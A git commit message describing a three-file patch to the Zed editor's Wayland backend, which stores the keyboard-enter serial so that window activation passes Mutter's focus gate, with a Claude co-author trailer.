Rebuilt from the exact zed-industries/zed @ 8c74db00c4053d6c0a9037863d7bd048658da4ca tree (previous orphan was based on a stale/wrong fetch). Same 3-file patch: - serial.rs: add SerialKind::KeyboardEnter - client.rs: store wl_keyboard.enter serial; add latest_serial_of() - window.rs: activate() uses keyboard-enter serial (Mutter focus gate) Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
